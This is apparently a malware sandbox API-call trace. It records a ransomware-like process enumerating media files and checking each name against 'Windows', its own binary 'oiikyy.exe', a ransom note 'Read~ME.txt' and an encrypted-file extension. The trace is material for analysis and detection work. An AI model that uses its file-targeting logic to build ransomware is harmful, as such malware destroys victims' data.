	[0086.157] lstrcmpW (lpString1="J0382927.JPG", lpString2="oiikyy.exe") returned -1
	[0086.157] StrStrW (lpFirst="J0382927.JPG", lpSrch=".~~~~") returned 0x0
	[0086.157] lstrcmpW (lpString1="J0382927.JPG", lpString2="Read~ME.txt") returned -1
	[0086.157] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.157] GetCurrentThreadId () returned 0x618
	[0086.157] RtlWakeConditionVariable () returned 0x365f48
	[0086.157] lstrcmpiW (lpString1="J0382930.JPG", lpString2="Windows") returned -1
	[0086.157] lstrcmpW (lpString1="J0382930.JPG", lpString2="oiikyy.exe") returned -1
	[0086.157] StrStrW (lpFirst="J0382930.JPG", lpSrch=".~~~~") returned 0x0
	[0086.157] lstrcmpW (lpString1="J0382930.JPG", lpString2="Read~ME.txt") returned -1
	[0086.157] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.158] GetCurrentThreadId () returned 0x618
	[0086.158] RtlWakeConditionVariable () returned 0x365f48
	[0086.158] lstrcmpiW (lpString1="J0382931.JPG", lpString2="Windows") returned -1
	[0086.158] lstrcmpW (lpString1="J0382931.JPG", lpString2="oiikyy.exe") returned -1
	[0086.158] StrStrW (lpFirst="J0382931.JPG", lpSrch=".~~~~") returned 0x0
	[0086.158] lstrcmpW (lpString1="J0382931.JPG", lpString2="Read~ME.txt") returned -1
	[0086.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.158] GetCurrentThreadId () returned 0x618
	[0086.158] RtlWakeConditionVariable () returned 0x365f48
	[0086.158] lstrcmpiW (lpString1="J0382938.JPG", lpString2="Windows") returned -1
	[0086.158] lstrcmpW (lpString1="J0382938.JPG", lpString2="oiikyy.exe") returned -1
	[0086.158] StrStrW (lpFirst="J0382938.JPG", lpSrch=".~~~~") returned 0x0
	[0086.158] lstrcmpW (lpString1="J0382938.JPG", lpString2="Read~ME.txt") returned -1
	[0086.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.158] GetCurrentThreadId () returned 0x618
	[0086.158] RtlWakeConditionVariable () returned 0x365f48
	[0086.158] lstrcmpiW (lpString1="J0382939.JPG", lpString2="Windows") returned -1
	[0086.158] lstrcmpW (lpString1="J0382939.JPG", lpString2="oiikyy.exe") returned -1
	[0086.158] StrStrW (lpFirst="J0382939.JPG", lpSrch=".~~~~") returned 0x0
	[0086.158] lstrcmpW (lpString1="J0382939.JPG", lpString2="Read~ME.txt") returned -1
	[0086.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.159] GetCurrentThreadId () returned 0x618
	[0086.159] RtlWakeConditionVariable () returned 0x365f48
	[0086.159] lstrcmpiW (lpString1="J0382942.JPG", lpString2="Windows") returned -1
	[0086.159] lstrcmpW (lpString1="J0382942.JPG", lpString2="oiikyy.exe") returned -1
	[0086.159] StrStrW (lpFirst="J0382942.JPG", lpSrch=".~~~~") returned 0x0
	[0086.159] lstrcmpW (lpString1="J0382942.JPG", lpString2="Read~ME.txt") returned -1
	[0086.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.159] GetCurrentThreadId () returned 0x618
	[0086.159] RtlWakeConditionVariable () returned 0x365f48
	[0086.159] lstrcmpiW (lpString1="J0382944.JPG", lpString2="Windows") returned -1
	[0086.159] lstrcmpW (lpString1="J0382944.JPG", lpString2="oiikyy.exe") returned -1
	[0086.159] StrStrW (lpFirst="J0382944.JPG", lpSrch=".~~~~") returned 0x0
	[0086.159] lstrcmpW (lpString1="J0382944.JPG", lpString2="Read~ME.txt") returned -1
	[0086.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.159] GetCurrentThreadId () returned 0x618
	[0086.159] RtlWakeConditionVariable () returned 0x365f48
	[0086.159] lstrcmpiW (lpString1="J0382947.JPG", lpString2="Windows") returned -1
	[0086.159] lstrcmpW (lpString1="J0382947.JPG", lpString2="oiikyy.exe") returned -1
	[0086.159] StrStrW (lpFirst="J0382947.JPG", lpSrch=".~~~~") returned 0x0
	[0086.159] lstrcmpW (lpString1="J0382947.JPG", lpString2="Read~ME.txt") returned -1
	[0086.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.160] GetCurrentThreadId () returned 0x618
	[0086.160] RtlWakeConditionVariable () returned 0x365f48
	[0086.160] lstrcmpiW (lpString1="J0382948.JPG", lpString2="Windows") returned -1
	[0086.160] lstrcmpW (lpString1="J0382948.JPG", lpString2="oiikyy.exe") returned -1
	[0086.160] StrStrW (lpFirst="J0382948.JPG", lpSrch=".~~~~") returned 0x0
	[0086.160] lstrcmpW (lpString1="J0382948.JPG", lpString2="Read~ME.txt") returned -1
	[0086.160] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.160] GetCurrentThreadId () returned 0x618
	[0086.160] RtlWakeConditionVariable () returned 0x365f48
	[0086.160] lstrcmpiW (lpString1="J0382950.JPG", lpString2="Windows") returned -1
	[0086.160] lstrcmpW (lpString1="J0382950.JPG", lpString2="oiikyy.exe") returned -1
	[0086.160] StrStrW (lpFirst="J0382950.JPG", lpSrch=".~~~~") returned 0x0
	[0086.160] lstrcmpW (lpString1="J0382950.JPG", lpString2="Read~ME.txt") returned -1
	[0086.160] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.160] GetCurrentThreadId () returned 0x618
	[0086.160] RtlWakeConditionVariable () returned 0x365f48
	[0086.160] lstrcmpiW (lpString1="J0382952.JPG", lpString2="Windows") returned -1
	[0086.160] lstrcmpW (lpString1="J0382952.JPG", lpString2="oiikyy.exe") returned -1
	[0086.160] StrStrW (lpFirst="J0382952.JPG", lpSrch=".~~~~") returned 0x0
	[0086.160] lstrcmpW (lpString1="J0382952.JPG", lpString2="Read~ME.txt") returned -1
	[0086.160] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.160] GetCurrentThreadId () returned 0x618
	[0086.160] RtlWakeConditionVariable () returned 0x365f48
	[0086.180] lstrcmpiW (lpString1="J0382954.JPG", lpString2="Windows") returned -1
	[0086.180] lstrcmpW (lpString1="J0382954.JPG", lpString2="oiikyy.exe") returned -1
	[0086.180] StrStrW (lpFirst="J0382954.JPG", lpSrch=".~~~~") returned 0x0
	[0086.180] lstrcmpW (lpString1="J0382954.JPG", lpString2="Read~ME.txt") returned -1
	[0086.180] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.180] GetCurrentThreadId () returned 0x618
	[0086.180] RtlWakeConditionVariable () returned 0x365f48
	[0086.180] lstrcmpiW (lpString1="J0382955.JPG", lpString2="Windows") returned -1
	[0086.180] lstrcmpW (lpString1="J0382955.JPG", lpString2="oiikyy.exe") returned -1
	[0086.181] StrStrW (lpFirst="J0382955.JPG", lpSrch=".~~~~") returned 0x0
	[0086.181] lstrcmpW (lpString1="J0382955.JPG", lpString2="Read~ME.txt") returned -1
	[0086.181] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.181] GetCurrentThreadId () returned 0x618
	[0086.181] RtlWakeConditionVariable () returned 0x365f48
	[0086.181] lstrcmpiW (lpString1="J0382957.JPG", lpString2="Windows") returned -1
	[0086.181] lstrcmpW (lpString1="J0382957.JPG", lpString2="oiikyy.exe") returned -1
	[0086.181] StrStrW (lpFirst="J0382957.JPG", lpSrch=".~~~~") returned 0x0
	[0086.181] lstrcmpW (lpString1="J0382957.JPG", lpString2="Read~ME.txt") returned -1
	[0086.181] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.181] GetCurrentThreadId () returned 0x618
	[0086.181] RtlWakeConditionVariable () returned 0x365f48
	[0086.181] lstrcmpiW (lpString1="J0382958.JPG", lpString2="Windows") returned -1
	[0086.181] lstrcmpW (lpString1="J0382958.JPG", lpString2="oiikyy.exe") returned -1
	[0086.181] StrStrW (lpFirst="J0382958.JPG", lpSrch=".~~~~") returned 0x0
	[0086.181] lstrcmpW (lpString1="J0382958.JPG", lpString2="Read~ME.txt") returned -1
	[0086.181] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.181] GetCurrentThreadId () returned 0x618
	[0086.181] RtlWakeConditionVariable () returned 0x365f48
	[0086.181] lstrcmpiW (lpString1="J0382959.JPG", lpString2="Windows") returned -1
	[0086.182] lstrcmpW (lpString1="J0382959.JPG", lpString2="oiikyy.exe") returned -1
	[0086.182] StrStrW (lpFirst="J0382959.JPG", lpSrch=".~~~~") returned 0x0
	[0086.182] lstrcmpW (lpString1="J0382959.JPG", lpString2="Read~ME.txt") returned -1
	[0086.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.182] GetCurrentThreadId () returned 0x618
	[0086.182] RtlWakeConditionVariable () returned 0x365f48
	[0086.182] lstrcmpiW (lpString1="J0382960.JPG", lpString2="Windows") returned -1
	[0086.182] lstrcmpW (lpString1="J0382960.JPG", lpString2="oiikyy.exe") returned -1
	[0086.182] StrStrW (lpFirst="J0382960.JPG", lpSrch=".~~~~") returned 0x0
	[0086.182] lstrcmpW (lpString1="J0382960.JPG", lpString2="Read~ME.txt") returned -1
	[0086.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.182] GetCurrentThreadId () returned 0x618
	[0086.182] RtlWakeConditionVariable () returned 0x365f48
	[0086.182] lstrcmpiW (lpString1="J0382961.JPG", lpString2="Windows") returned -1
	[0086.182] lstrcmpW (lpString1="J0382961.JPG", lpString2="oiikyy.exe") returned -1
	[0086.182] StrStrW (lpFirst="J0382961.JPG", lpSrch=".~~~~") returned 0x0
	[0086.182] lstrcmpW (lpString1="J0382961.JPG", lpString2="Read~ME.txt") returned -1
	[0086.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.182] GetCurrentThreadId () returned 0x618
	[0086.182] RtlWakeConditionVariable () returned 0x365f48
	[0086.182] lstrcmpiW (lpString1="J0382962.JPG", lpString2="Windows") returned -1
	[0086.182] lstrcmpW (lpString1="J0382962.JPG", lpString2="oiikyy.exe") returned -1
	[0086.183] StrStrW (lpFirst="J0382962.JPG", lpSrch=".~~~~") returned 0x0
	[0086.183] lstrcmpW (lpString1="J0382962.JPG", lpString2="Read~ME.txt") returned -1
	[0086.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.183] GetCurrentThreadId () returned 0x618
	[0086.183] RtlWakeConditionVariable () returned 0x365f48
	[0086.184] lstrcmpiW (lpString1="J0382963.JPG", lpString2="Windows") returned -1
	[0086.184] lstrcmpW (lpString1="J0382963.JPG", lpString2="oiikyy.exe") returned -1
	[0086.184] StrStrW (lpFirst="J0382963.JPG", lpSrch=".~~~~") returned 0x0
	[0086.184] lstrcmpW (lpString1="J0382963.JPG", lpString2="Read~ME.txt") returned -1
	[0086.184] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.184] GetCurrentThreadId () returned 0x618
	[0086.184] RtlWakeConditionVariable () returned 0x365f48
	[0086.184] lstrcmpiW (lpString1="J0382965.JPG", lpString2="Windows") returned -1
	[0086.184] lstrcmpW (lpString1="J0382965.JPG", lpString2="oiikyy.exe") returned -1
	[0086.184] StrStrW (lpFirst="J0382965.JPG", lpSrch=".~~~~") returned 0x0
	[0086.184] lstrcmpW (lpString1="J0382965.JPG", lpString2="Read~ME.txt") returned -1
	[0086.184] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.184] GetCurrentThreadId () returned 0x618
	[0086.184] RtlWakeConditionVariable () returned 0x365f48
	[0086.184] lstrcmpiW (lpString1="J0382966.JPG", lpString2="Windows") returned -1
	[0086.184] lstrcmpW (lpString1="J0382966.JPG", lpString2="oiikyy.exe") returned -1
	[0086.184] StrStrW (lpFirst="J0382966.JPG", lpSrch=".~~~~") returned 0x0
	[0086.184] lstrcmpW (lpString1="J0382966.JPG", lpString2="Read~ME.txt") returned -1
	[0086.184] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.184] GetCurrentThreadId () returned 0x618
	[0086.184] RtlWakeConditionVariable () returned 0x365f48
	[0086.184] lstrcmpiW (lpString1="J0382967.JPG", lpString2="Windows") returned -1
	[0086.184] lstrcmpW (lpString1="J0382967.JPG", lpString2="oiikyy.exe") returned -1
	[0086.184] StrStrW (lpFirst="J0382967.JPG", lpSrch=".~~~~") returned 0x0
	[0086.185] lstrcmpW (lpString1="J0382967.JPG", lpString2="Read~ME.txt") returned -1
	[0086.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.185] GetCurrentThreadId () returned 0x618
	[0086.185] RtlWakeConditionVariable () returned 0x365f48
	[0086.185] lstrcmpiW (lpString1="J0382968.JPG", lpString2="Windows") returned -1
	[0086.185] lstrcmpW (lpString1="J0382968.JPG", lpString2="oiikyy.exe") returned -1
	[0086.185] StrStrW (lpFirst="J0382968.JPG", lpSrch=".~~~~") returned 0x0
	[0086.185] lstrcmpW (lpString1="J0382968.JPG", lpString2="Read~ME.txt") returned -1
	[0086.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.185] GetCurrentThreadId () returned 0x618
	[0086.185] RtlWakeConditionVariable () returned 0x365f48
	[0086.185] lstrcmpiW (lpString1="J0382969.JPG", lpString2="Windows") returned -1
	[0086.185] lstrcmpW (lpString1="J0382969.JPG", lpString2="oiikyy.exe") returned -1
	[0086.185] StrStrW (lpFirst="J0382969.JPG", lpSrch=".~~~~") returned 0x0
	[0086.185] lstrcmpW (lpString1="J0382969.JPG", lpString2="Read~ME.txt") returned -1
	[0086.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.185] GetCurrentThreadId () returned 0x618
	[0086.185] RtlWakeConditionVariable () returned 0x365f48
	[0086.185] lstrcmpiW (lpString1="J0382970.JPG", lpString2="Windows") returned -1
	[0086.185] lstrcmpW (lpString1="J0382970.JPG", lpString2="oiikyy.exe") returned -1
	[0086.185] StrStrW (lpFirst="J0382970.JPG", lpSrch=".~~~~") returned 0x0
	[0086.185] lstrcmpW (lpString1="J0382970.JPG", lpString2="Read~ME.txt") returned -1
	[0086.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.186] GetCurrentThreadId () returned 0x618
	[0086.186] RtlWakeConditionVariable () returned 0x365f48
	[0086.186] lstrcmpiW (lpString1="J0384862.JPG", lpString2="Windows") returned -1
	[0086.186] lstrcmpW (lpString1="J0384862.JPG", lpString2="oiikyy.exe") returned -1
	[0086.186] StrStrW (lpFirst="J0384862.JPG", lpSrch=".~~~~") returned 0x0
	[0086.186] lstrcmpW (lpString1="J0384862.JPG", lpString2="Read~ME.txt") returned -1
	[0086.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.186] GetCurrentThreadId () returned 0x618
	[0086.186] RtlWakeConditionVariable () returned 0x365f48
	[0086.186] lstrcmpiW (lpString1="J0384885.JPG", lpString2="Windows") returned -1
	[0086.186] lstrcmpW (lpString1="J0384885.JPG", lpString2="oiikyy.exe") returned -1
	[0086.186] StrStrW (lpFirst="J0384885.JPG", lpSrch=".~~~~") returned 0x0
	[0086.186] lstrcmpW (lpString1="J0384885.JPG", lpString2="Read~ME.txt") returned -1
	[0086.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.186] GetCurrentThreadId () returned 0x618
	[0086.186] RtlWakeConditionVariable () returned 0x365f48
	[0086.186] lstrcmpiW (lpString1="J0384888.JPG", lpString2="Windows") returned -1
	[0086.186] lstrcmpW (lpString1="J0384888.JPG", lpString2="oiikyy.exe") returned -1
	[0086.186] StrStrW (lpFirst="J0384888.JPG", lpSrch=".~~~~") returned 0x0
	[0086.186] lstrcmpW (lpString1="J0384888.JPG", lpString2="Read~ME.txt") returned -1
	[0086.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.186] GetCurrentThreadId () returned 0x618
	[0086.187] RtlWakeConditionVariable () returned 0x365f48
	[0086.187] lstrcmpiW (lpString1="J0384895.JPG", lpString2="Windows") returned -1
	[0086.187] lstrcmpW (lpString1="J0384895.JPG", lpString2="oiikyy.exe") returned -1
	[0086.187] StrStrW (lpFirst="J0384895.JPG", lpSrch=".~~~~") returned 0x0
	[0086.187] lstrcmpW (lpString1="J0384895.JPG", lpString2="Read~ME.txt") returned -1
	[0086.187] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.187] GetCurrentThreadId () returned 0x618
	[0086.187] RtlWakeConditionVariable () returned 0x365f48
	[0086.187] lstrcmpiW (lpString1="J0384900.JPG", lpString2="Windows") returned -1
	[0086.187] lstrcmpW (lpString1="J0384900.JPG", lpString2="oiikyy.exe") returned -1
	[0086.187] StrStrW (lpFirst="J0384900.JPG", lpSrch=".~~~~") returned 0x0
	[0086.187] lstrcmpW (lpString1="J0384900.JPG", lpString2="Read~ME.txt") returned -1
	[0086.187] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.187] GetCurrentThreadId () returned 0x618
	[0086.187] RtlWakeConditionVariable () returned 0x365f48
	[0086.187] lstrcmpiW (lpString1="J0386120.JPG", lpString2="Windows") returned -1
	[0086.187] lstrcmpW (lpString1="J0386120.JPG", lpString2="oiikyy.exe") returned -1
	[0086.187] StrStrW (lpFirst="J0386120.JPG", lpSrch=".~~~~") returned 0x0
	[0086.187] lstrcmpW (lpString1="J0386120.JPG", lpString2="Read~ME.txt") returned -1
	[0086.187] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.187] GetCurrentThreadId () returned 0x618
	[0086.188] RtlWakeConditionVariable () returned 0x365f48
	[0086.188] lstrcmpiW (lpString1="J0386267.JPG", lpString2="Windows") returned -1
	[0086.188] lstrcmpW (lpString1="J0386267.JPG", lpString2="oiikyy.exe") returned -1
	[0086.188] StrStrW (lpFirst="J0386267.JPG", lpSrch=".~~~~") returned 0x0
	[0086.188] lstrcmpW (lpString1="J0386267.JPG", lpString2="Read~ME.txt") returned -1
	[0086.188] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.188] GetCurrentThreadId () returned 0x618
	[0086.188] RtlWakeConditionVariable () returned 0x365f48
	[0086.188] lstrcmpiW (lpString1="J0386270.JPG", lpString2="Windows") returned -1
	[0086.188] lstrcmpW (lpString1="J0386270.JPG", lpString2="oiikyy.exe") returned -1
	[0086.188] StrStrW (lpFirst="J0386270.JPG", lpSrch=".~~~~") returned 0x0
	[0086.188] lstrcmpW (lpString1="J0386270.JPG", lpString2="Read~ME.txt") returned -1
	[0086.188] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.188] GetCurrentThreadId () returned 0x618
	[0086.188] RtlWakeConditionVariable () returned 0x365f48
	[0086.188] lstrcmpiW (lpString1="J0386485.JPG", lpString2="Windows") returned -1
	[0086.188] lstrcmpW (lpString1="J0386485.JPG", lpString2="oiikyy.exe") returned -1
	[0086.188] StrStrW (lpFirst="J0386485.JPG", lpSrch=".~~~~") returned 0x0
	[0086.188] lstrcmpW (lpString1="J0386485.JPG", lpString2="Read~ME.txt") returned -1
	[0086.188] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.188] GetCurrentThreadId () returned 0x618
	[0086.188] RtlWakeConditionVariable () returned 0x365f48
	[0086.188] lstrcmpiW (lpString1="J0386764.JPG", lpString2="Windows") returned -1
	[0086.189] lstrcmpW (lpString1="J0386764.JPG", lpString2="oiikyy.exe") returned -1
	[0086.189] StrStrW (lpFirst="J0386764.JPG", lpSrch=".~~~~") returned 0x0
	[0086.189] lstrcmpW (lpString1="J0386764.JPG", lpString2="Read~ME.txt") returned -1
	[0086.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.189] GetCurrentThreadId () returned 0x618
	[0086.189] RtlWakeConditionVariable () returned 0x365f48
	[0086.189] lstrcmpiW (lpString1="J0387337.JPG", lpString2="Windows") returned -1
	[0086.189] lstrcmpW (lpString1="J0387337.JPG", lpString2="oiikyy.exe") returned -1
	[0086.189] StrStrW (lpFirst="J0387337.JPG", lpSrch=".~~~~") returned 0x0
	[0086.189] lstrcmpW (lpString1="J0387337.JPG", lpString2="Read~ME.txt") returned -1
	[0086.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.189] GetCurrentThreadId () returned 0x618
	[0086.189] RtlWakeConditionVariable () returned 0x365f48
	[0086.189] lstrcmpiW (lpString1="J0387578.JPG", lpString2="Windows") returned -1
	[0086.189] lstrcmpW (lpString1="J0387578.JPG", lpString2="oiikyy.exe") returned -1
	[0086.189] StrStrW (lpFirst="J0387578.JPG", lpSrch=".~~~~") returned 0x0
	[0086.189] lstrcmpW (lpString1="J0387578.JPG", lpString2="Read~ME.txt") returned -1
	[0086.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.189] GetCurrentThreadId () returned 0x618
	[0086.189] RtlWakeConditionVariable () returned 0x365f48
	[0086.189] lstrcmpiW (lpString1="J0387591.JPG", lpString2="Windows") returned -1
	[0086.189] lstrcmpW (lpString1="J0387591.JPG", lpString2="oiikyy.exe") returned -1
	[0086.189] StrStrW (lpFirst="J0387591.JPG", lpSrch=".~~~~") returned 0x0
	[0086.189] lstrcmpW (lpString1="J0387591.JPG", lpString2="Read~ME.txt") returned -1
	[0086.190] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.190] GetCurrentThreadId () returned 0x618
	[0086.190] RtlWakeConditionVariable () returned 0x365f48
	[0086.190] lstrcmpiW (lpString1="J0387604.JPG", lpString2="Windows") returned -1
	[0086.190] lstrcmpW (lpString1="J0387604.JPG", lpString2="oiikyy.exe") returned -1
	[0086.190] StrStrW (lpFirst="J0387604.JPG", lpSrch=".~~~~") returned 0x0
	[0086.190] lstrcmpW (lpString1="J0387604.JPG", lpString2="Read~ME.txt") returned -1
	[0086.190] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.190] GetCurrentThreadId () returned 0x618
	[0086.190] RtlWakeConditionVariable () returned 0x365f48
	[0086.190] lstrcmpiW (lpString1="J0387882.JPG", lpString2="Windows") returned -1
	[0086.190] lstrcmpW (lpString1="J0387882.JPG", lpString2="oiikyy.exe") returned -1
	[0086.190] StrStrW (lpFirst="J0387882.JPG", lpSrch=".~~~~") returned 0x0
	[0086.190] lstrcmpW (lpString1="J0387882.JPG", lpString2="Read~ME.txt") returned -1
	[0086.190] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.190] GetCurrentThreadId () returned 0x618
	[0086.190] RtlWakeConditionVariable () returned 0x365f48
	[0086.190] lstrcmpiW (lpString1="J0387895.JPG", lpString2="Windows") returned -1
	[0086.190] lstrcmpW (lpString1="J0387895.JPG", lpString2="oiikyy.exe") returned -1
	[0086.190] StrStrW (lpFirst="J0387895.JPG", lpSrch=".~~~~") returned 0x0
	[0086.190] lstrcmpW (lpString1="J0387895.JPG", lpString2="Read~ME.txt") returned -1
	[0086.190] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.190] GetCurrentThreadId () returned 0x618
	[0086.191] RtlWakeConditionVariable () returned 0x365f48
	[0086.191] lstrcmpiW (lpString1="J0390072.JPG", lpString2="Windows") returned -1
	[0086.191] lstrcmpW (lpString1="J0390072.JPG", lpString2="oiikyy.exe") returned -1
	[0086.191] StrStrW (lpFirst="J0390072.JPG", lpSrch=".~~~~") returned 0x0
	[0086.191] lstrcmpW (lpString1="J0390072.JPG", lpString2="Read~ME.txt") returned -1
	[0086.191] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.191] GetCurrentThreadId () returned 0x618
	[0086.191] RtlWakeConditionVariable () returned 0x365f48
	[0086.191] lstrcmpiW (lpString1="J0400001.PNG", lpString2="Windows") returned -1
	[0086.191] lstrcmpW (lpString1="J0400001.PNG", lpString2="oiikyy.exe") returned -1
	[0086.191] StrStrW (lpFirst="J0400001.PNG", lpSrch=".~~~~") returned 0x0
	[0086.191] lstrcmpW (lpString1="J0400001.PNG", lpString2="Read~ME.txt") returned -1
	[0086.191] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.191] GetCurrentThreadId () returned 0x618
	[0086.191] RtlWakeConditionVariable () returned 0x365f48
	[0086.191] lstrcmpiW (lpString1="J0400002.PNG", lpString2="Windows") returned -1
	[0086.191] lstrcmpW (lpString1="J0400002.PNG", lpString2="oiikyy.exe") returned -1
	[0086.191] StrStrW (lpFirst="J0400002.PNG", lpSrch=".~~~~") returned 0x0
	[0086.191] lstrcmpW (lpString1="J0400002.PNG", lpString2="Read~ME.txt") returned -1
	[0086.191] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.191] GetCurrentThreadId () returned 0x618
	[0086.191] RtlWakeConditionVariable () returned 0x365f48
	[0086.388] lstrcmpiW (lpString1="J0400003.PNG", lpString2="Windows") returned -1
	[0086.388] lstrcmpW (lpString1="J0400003.PNG", lpString2="oiikyy.exe") returned -1
	[0086.388] StrStrW (lpFirst="J0400003.PNG", lpSrch=".~~~~") returned 0x0
	[0086.388] lstrcmpW (lpString1="J0400003.PNG", lpString2="Read~ME.txt") returned -1
	[0086.388] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.388] GetCurrentThreadId () returned 0x618
	[0086.388] RtlWakeConditionVariable () returned 0x365f48
	[0086.388] lstrcmpiW (lpString1="J0400004.PNG", lpString2="Windows") returned -1
	[0086.388] lstrcmpW (lpString1="J0400004.PNG", lpString2="oiikyy.exe") returned -1
	[0086.388] StrStrW (lpFirst="J0400004.PNG", lpSrch=".~~~~") returned 0x0
	[0086.388] lstrcmpW (lpString1="J0400004.PNG", lpString2="Read~ME.txt") returned -1
	[0086.388] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.388] GetCurrentThreadId () returned 0x618
	[0086.389] RtlWakeConditionVariable () returned 0x365f48
	[0086.389] lstrcmpiW (lpString1="J0400005.PNG", lpString2="Windows") returned -1
	[0086.389] lstrcmpW (lpString1="J0400005.PNG", lpString2="oiikyy.exe") returned -1
	[0086.389] StrStrW (lpFirst="J0400005.PNG", lpSrch=".~~~~") returned 0x0
	[0086.389] lstrcmpW (lpString1="J0400005.PNG", lpString2="Read~ME.txt") returned -1
	[0086.389] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.389] GetCurrentThreadId () returned 0x618
	[0086.389] RtlWakeConditionVariable () returned 0x365f48
	[0086.389] lstrcmpiW (lpString1="JAVA_01.MID", lpString2="Windows") returned -1
	[0086.389] lstrcmpW (lpString1="JAVA_01.MID", lpString2="oiikyy.exe") returned -1
	[0086.389] StrStrW (lpFirst="JAVA_01.MID", lpSrch=".~~~~") returned 0x0
	[0086.389] lstrcmpW (lpString1="JAVA_01.MID", lpString2="Read~ME.txt") returned -1
	[0086.389] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.389] GetCurrentThreadId () returned 0x618
	[0086.389] RtlWakeConditionVariable () returned 0x365f48
	[0086.389] lstrcmpiW (lpString1="JNGLE_01.MID", lpString2="Windows") returned -1
	[0086.389] lstrcmpW (lpString1="JNGLE_01.MID", lpString2="oiikyy.exe") returned -1
	[0086.389] StrStrW (lpFirst="JNGLE_01.MID", lpSrch=".~~~~") returned 0x0
	[0086.389] lstrcmpW (lpString1="JNGLE_01.MID", lpString2="Read~ME.txt") returned -1
	[0086.389] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.389] GetCurrentThreadId () returned 0x618
	[0086.389] RtlWakeConditionVariable () returned 0x365f48
	[0086.390] lstrcmpiW (lpString1="MP00021_.WMF", lpString2="Windows") returned -1
	[0086.390] lstrcmpW (lpString1="MP00021_.WMF", lpString2="oiikyy.exe") returned -1
	[0086.390] StrStrW (lpFirst="MP00021_.WMF", lpSrch=".~~~~") returned 0x0
	[0086.390] lstrcmpW (lpString1="MP00021_.WMF", lpString2="Read~ME.txt") returned -1
